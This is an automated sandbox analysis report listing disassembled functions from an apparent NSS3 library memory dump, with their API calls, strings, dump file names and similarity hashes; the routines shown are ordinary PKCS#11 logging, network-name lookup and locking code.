Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAC4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAC4F68

Strings

hSession = 0x%x, xrefs: 6CAC4EA2, 6CAC4EB2
pTemplate = 0x%p, xrefs: 6CAC4F4A
(CK_INVALID_HANDLE), xrefs: 6CAC4EC0, 6CAC4F13
C_GetAttributeValue, xrefs: 6CAC4E7E
hObject = 0x%x, xrefs: 6CAC4EF5, 6CAC4F05
ulCount = %d, xrefs: 6CAC4F63

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: e8bd13f776b3c565142bebea0cfe418161b543f734aed0d94c1bdb54437afc4e
Instruction ID: c264769b7008dea63a04813f23e7a0efad1b6d799c62874ad730b38c2aa16847
Opcode Fuzzy Hash: e8bd13f776b3c565142bebea0cfe418161b543f734aed0d94c1bdb54437afc4e
Instruction Fuzzy Hash: 6B41E535701184ABDB009B58ED88FAE77B5EB4271DF088024E91967711DB309D99CBAB

Function 6CAC4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CAC4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4D37

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CAC4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CAC4E20

Strings

pulSize = 0x%p, xrefs: 6CAC4DB7
C_GetObjectSize, xrefs: 6CAC4CEE
hSession = 0x%x, xrefs: 6CAC4D12, 6CAC4D22
(CK_INVALID_HANDLE), xrefs: 6CAC4D30, 6CAC4D83
hObject = 0x%x, xrefs: 6CAC4D65, 6CAC4D75
*pulSize = 0x%x, xrefs: 6CAC4E1B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 474543dd4979e8e02ddf218aeb273d7e102f72973c2f3bf561b1d04dfd72cc40
Instruction ID: ec52bad9036dde30014da167cab152dfdc78fe38c86728ed02edb8cf2ad999bc
Opcode Fuzzy Hash: 474543dd4979e8e02ddf218aeb273d7e102f72973c2f3bf561b1d04dfd72cc40
Instruction Fuzzy Hash: D7410175701184AFDB019B54ED88FBE77B5EB4231DF088028E8096BB11DB308D99CB6B

Function 6CAC7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CAC7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC7CF3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAC7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAC7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAC7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CAC7D77

Strings

ulDataLen = %d, xrefs: 6CAC7D40
ulSignatureLen = %d, xrefs: 6CAC7D72
hSession = 0x%x, xrefs: 6CAC7CCE, 6CAC7CDE
C_Verify, xrefs: 6CAC7CB1
pSignature = 0x%p, xrefs: 6CAC7D59
(CK_INVALID_HANDLE), xrefs: 6CAC7CEC
pData = 0x%p, xrefs: 6CAC7D25

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: d9e5570bc42f2f05db367b67d578b8ab21a35eccdcb615ff4aebc73cff5f0c63
Instruction ID: af1d9136ec2c7841e6c831c487ef13f49ad0ecdd77f5a55e88ddaadba4ec5a67
Opcode Fuzzy Hash: d9e5570bc42f2f05db367b67d578b8ab21a35eccdcb615ff4aebc73cff5f0c63
Instruction Fuzzy Hash: FB31D3757011C5AFDB019F64ED88FAE3BB5EB42319F484024E819A7711DB308999CBA7

Function 6CAC2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CAC2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC2F63

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CAC2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CAC2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CAC2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CAC2FE7

Strings

C_SetPIN, xrefs: 6CAC2F21
hSession = 0x%x, xrefs: 6CAC2F3E, 6CAC2F4E
pOldPin = 0x%p, xrefs: 6CAC2F95
ulNewLen = %d, xrefs: 6CAC2FE2
(CK_INVALID_HANDLE), xrefs: 6CAC2F5C
pNewPin = 0x%p, xrefs: 6CAC2FC9
ulOldLen = %d, xrefs: 6CAC2FB0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 589d7eeb5486a97c7e6e11284d0abb3d25daa29788bb76463358b376f69a59c9
Instruction ID: 0e1b561b51a97e2699dbce808abd8c079943b7bee8de8587a9d7fdf16d594a77
Opcode Fuzzy Hash: 589d7eeb5486a97c7e6e11284d0abb3d25daa29788bb76463358b376f69a59c9
Instruction Fuzzy Hash: EB310479B011C4AFDB008F58ED8CE9E37B5EB46319F084114E819A7B11DB3099A8CBA7

Function 6CB5CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB5CC7B), ref: 6CB5CD7A

Part of subcall function 6CB5CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CACC1A8,?), ref: 6CB5CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CB5CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CD8E

Part of subcall function 6CA805C0: PR_EnterMonitor.NSS3 ref: 6CA805D1
Part of subcall function 6CA805C0: PR_ExitMonitor.NSS3 ref: 6CA805EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CB5CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CB5CE48

Strings

freeaddrinfo, xrefs: 6CB5CD9F, 6CB5CE10
getnameinfo, xrefs: 6CB5CDB2, 6CB5CE23
ws2_32.dll, xrefs: 6CB5CD75
getaddrinfo, xrefs: 6CB5CD88, 6CB5CDF9
wship6.dll, xrefs: 6CB5CDE3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 3bcc6d086efffc8c15aee239c57726a2ba3e40fb2f6706d18e1f6b74231bc839
Instruction ID: ba3561f3da25026ce0c86ca06e4d6eb4ce347d68f42a4dd3091f000e0298dcb0
Opcode Fuzzy Hash: 3bcc6d086efffc8c15aee239c57726a2ba3e40fb2f6706d18e1f6b74231bc839
Instruction Fuzzy Hash: F21103E9F031A123EB05AE717C40AAE385A9B1611DF5C4935E815D2F80FB20C56C87F7

Function 6CBA1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CBA13BC,?,?,?,6CBA1193), ref: 6CBA1C6B
PR_NewLock.NSS3(?,6CBA1193), ref: 6CBA1C7E

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewCondVar.NSS3(00000000,?,6CBA1193), ref: 6CBA1C91

Part of subcall function 6CA7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA821BC), ref: 6CA7BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CBA1193), ref: 6CBA1CA7

Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA7BBEB
Part of subcall function 6CA7BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA7BBFB
Part of subcall function 6CA7BB80: GetLastError.KERNEL32 ref: 6CA7BC03
Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA7BC19
Part of subcall function 6CA7BB80: free.MOZGLUE(00000000), ref: 6CA7BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CBA1193), ref: 6CBA1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CBA1193), ref: 6CBA1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CBA1193), ref: 6CBA1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D1A

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D3D

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CBA1193), ref: 6CBA1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CBA1193), ref: 6CBA1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CBA1193), ref: 6CBA1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CBA1193), ref: 6CBA1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CBA1193), ref: 6CBA1D93
PR_DestroyLock.NSS3(00000000,?,?,6CBA1193), ref: 6CBA1D9F
free.MOZGLUE(00000000,?,6CBA1193), ref: 6CBA1DA8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: c00538f9027ebe720edecff03c7ad1885992b7529a5e04019eea2fa28a11b900
Instruction ID: eafa6317c3dd1ea9808084a605cf3def88e11a4a7473717ab91e5fe1ff07d323
Opcode Fuzzy Hash: c00538f9027ebe720edecff03c7ad1885992b7529a5e04019eea2fa28a11b900
Instruction Fuzzy Hash: 8F31FCF5E007519BEB209FA5AC01A5B76F4EF0564CF084538E88A87B41FB31E41DCBA2

Function 6CAF5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CAF5EC0,00000000,?,?), ref: 6CAF5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CAF5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CAF5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CAF5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CAF5EC0,00000000,?,?), ref: 6CAF5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CAF5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CAF5D80

Strings

multiaccess:, xrefs: 6CAF5CB8
dbm:, xrefs: 6CAF5D03, 6CAF5D60
NSS_DEFAULT_DB_TYPE, xrefs: 6CAF5D1A
extern:, xrefs: 6CAF5CEA, 6CAF5D4B
sql:, xrefs: 6CAF5CD1, 6CAF5D36

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 04e6a00fd5da48e274c59f5e67c67c2fecb4195eb107acce9e6a492fecbc042f
Instruction ID: 9d086d934d0ff5a278245728053e9ad036a1838c272570a9d0ad79894fec49a2
Opcode Fuzzy Hash: 04e6a00fd5da48e274c59f5e67c67c2fecb4195eb107acce9e6a492fecbc042f
Instruction Fuzzy Hash: 8B3147B4B033416BF7619A248C4CB663768AF02798F184430FDB5E7A82F7B1E442C2B1

Function 6CAF6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBC1DE0,?), ref: 6CAF6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CAF6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CAF6D82
DER_GetInteger_Util.NSS3(?), ref: 6CAF6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAF6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CAF6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CAF6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CAF6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CAF6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAF7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CAF7033
free.MOZGLUE(?), ref: 6CAF703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CAF7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CAF7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CAF70AF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ef9735621a81bc5b98d3b417e8c08331f46097a386882e9ec069e26ab21b0159
Instruction ID: a61c9275ee0a37858dda9d87188251a987b2bdcd0eb183e962fb964c86fa1e05
Opcode Fuzzy Hash: ef9735621a81bc5b98d3b417e8c08331f46097a386882e9ec069e26ab21b0159
Instruction Fuzzy Hash: 62A1F6729142009BFB009F24DC55B6A32A5DB8131CF284939F979DBB81E775D8CAC793

Function 6CABAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF39
PR_Unlock.NSS3(?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF69
TlsGetValue.KERNEL32 ref: 6CABB06B
EnterCriticalSection.KERNEL32(?), ref: 6CABB083
PR_Unlock.NSS3(?), ref: 6CABB0A4
TlsGetValue.KERNEL32 ref: 6CABB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CABB0D9
PR_Unlock.NSS3 ref: 6CABB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABB182

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CABB177

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1C2

Part of subcall function 6CAE1560: TlsGetValue.KERNEL32(00000000,?,6CAB0844,?), ref: 6CAE157A
Part of subcall function 6CAE1560: EnterCriticalSection.KERNEL32(?,?,?,6CAB0844,?), ref: 6CAE158F
Part of subcall function 6CAE1560: PR_Unlock.NSS3(?,?,?,?,6CAB0844,?), ref: 6CAE15B2

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e50ad239b1a4a8174dc8862ac1709e1de290970eece54ee33ee26960ed709d49
Instruction ID: 255bd1a999680ef67adfd73984092d05472d02d100ead5f4f915a954d3773c0e
Opcode Fuzzy Hash: e50ad239b1a4a8174dc8862ac1709e1de290970eece54ee33ee26960ed709d49
Instruction Fuzzy Hash: FDA1B3B1D002059FEF009FA4ED81BEE7BB8EF08308F144125E909A7751E731E999CBA1

Function 6CB0AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0ADB1

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB0ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB0AE08

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB0AE25
PL_FreeArenaPool.NSS3 ref: 6CB0AE63
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CB0AE4D

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0AE93
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CB0AECC
PL_FreeArenaPool.NSS3 ref: 6CB0AEDE
PL_FinishArenaPool.NSS3 ref: 6CB0AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0AEF5
PL_FinishArenaPool.NSS3 ref: 6CB0AF16

Strings

security, xrefs: 6CB0ADEE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
